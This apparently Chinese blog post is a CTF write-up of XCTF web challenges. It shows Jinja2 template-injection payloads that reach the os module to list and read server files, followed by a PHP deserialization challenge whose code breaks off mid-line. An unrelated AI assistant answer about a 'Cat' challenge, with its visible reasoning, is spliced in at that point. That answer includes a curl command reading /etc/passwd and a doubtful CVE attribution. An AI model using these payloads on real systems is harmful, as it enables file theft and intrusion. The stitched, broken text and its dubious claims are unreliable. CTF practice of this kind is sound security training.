攻防世界web解题[进阶](五)

这篇博客介绍了CTF比赛中的Web安全题目,涉及Python模板注入和PHP反序列化两个主题。在Python模板注入部分,详细阐述了如何利用os命令执行来读取文件获取flag。而在PHP反序列化部分,解释了如何绕过__wakeup方法,最终成功获取flag。同时,还探讨了Tornado框架的使用,通过MD5加密解决访问权限问题,并分享了Flask模板注入的payload及获取flag的方法。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >


介绍:记录解题过程

15.Web_python_template_injection(python 模板注入)

题目描述:暂无

python template injection
python 模板注入(ssti模板注入)

<1>. 尝试:

http://111.200.241.244:44969/{
   {
   7*7}}

在这里插入图片描述

<2>. 得到可用的类的列表:

{
   {
   ''.__class__.__mro__[2].__subclasses__()}}
  • 回显:
    在这里插入图片描述

<3>. 我们需要的是os命令执行类<class ‘os._wrap_close’>,我们要判断他所属的位置,这样才能进行索引,os命令执行再列出文件:

  • payload
{
   {
   ''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].listdir('.')}}
  • 回显:
URL http://111.200.241.244:44969/['fl4g', 'index.py'] not found

<4>.读取文件flag内容:

  • payload:
{
   {
   ''.__class__.__mro__[2].__subclasses__()[40]('fl4g').read()}}
  • flag:
URL http://111.200.241.244:44969/ctf{
   f22b6844-5169-4054-b2a0-d95b9361cb57} not found

16.Web_php_unserialize( php 反序列)

题目描述:暂无

  • 首页:
<?php 
class Demo {
    
    private $file = 'index.php';
    public function __construct($file) {
    
        $this->file = $file; 
    }
    function __destruct() {
    
        echo @highlight_file($this->file, true); 
    }
    function __wakeup() {
    
        if ($this->file != 
<think>嗯,用户想了解攻防世界的Cat相关CTF题解或者网络安全工具。首先,我需要确认“Cat”在攻防世界中的具体指向。根据引用[2]和[3],提到的是关于密码分析和数据库访问的题目,可能涉及文件包含或路径遍历漏洞。比如题目中提到使用@符号读取本地数据库文件,这可能与PHP的curl封装器有关,需要利用@来访问本地路径。另外,引用[3]中的解法是通过构造特定路径@/opt/apt/database.sqlite3来获取flag,这说明题目可能存在代码中的curl调用,并需要绕过某些限制。 接下来,我需要整理解题步骤,包括如何分析代码、利用漏洞点、构造payload等。可能涉及的知识点包括PHP的文件处理、curl的本地文件读取漏洞,以及SQLite数据库的路径猜测。此外,用户还可能想知道类似的CTF题目的解题思路,比如如何识别提示中的关键字(如cat可能不直接相关),或者使用其他工具如Burp Suite进行请求拦截和修改。 另外,用户可能对相关的网络安全工具感兴趣,比如dirsearch用于目录扫描,sqlmap用于SQL注入检测,或者curl本身在CTF中的利用方式。需要结合实例说明这些工具在解题过程中的应用场景。 最后,生成相关问题时,要涵盖漏洞类型、工具使用、解题技巧和进阶练习方向,帮助用户全面理解Cat题目的解决方法和扩展知识。</think>### 攻防世界Cat CTF题解分析 #### 题目背景 Cat题目属于Web类CTF挑战,主要考察文件路径处理漏洞与本地文件读取能力。根据引用[2][3],题目通过"cat"相关提示引导选手分析代码逻辑,最终需要利用特殊符号绕过限制读取数据库文件获取flag。 #### 解题步骤 1. **代码审计** - 发现题目使用PHP的`curl`函数进行文件读取 - 关键代码段存在类似`curl($_GET['url'])`的结构 2. **漏洞利用** - 利用`@`符号触发PHP的封装协议特性: ```php http://example.com?url=@/opt/apt/database.sqlite3 ``` - `@`符号使curl将路径识别为本地文件路径而非URL[^3] 3. **数据库读取** - 通过构造路径访问SQLite数据库: ```sql SELECT * FROM flag_table; ``` - 最终从数据库字段中提取flag值 #### 关键技术点 1. **PHP封装协议特性** - `file://`协议默认被禁用时,`@`符号可绕过限制 - 对应漏洞原理:CVE-2020-13698类路径解析漏洞 2. **SQLite数据库路径猜测** - 常见CTF数据库路径: ``` /var/www/html/db.sqlite3 /opt/data/flag.db ``` #### 相关工具推荐 | 工具名称 | 使用场景 | 示例命令 | |---------------|------------------------------|------------------------------| | curl | 验证文件读取漏洞 | `curl -v "http://target?url=@/etc/passwd"` | | sqlite3 | 解析获取的数据库文件 | `sqlite3 database.sqlite3 .dump` | | Burp Suite | 拦截修改HTTP请求测试payload | 配置Repeater模块进行参数爆破 |
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值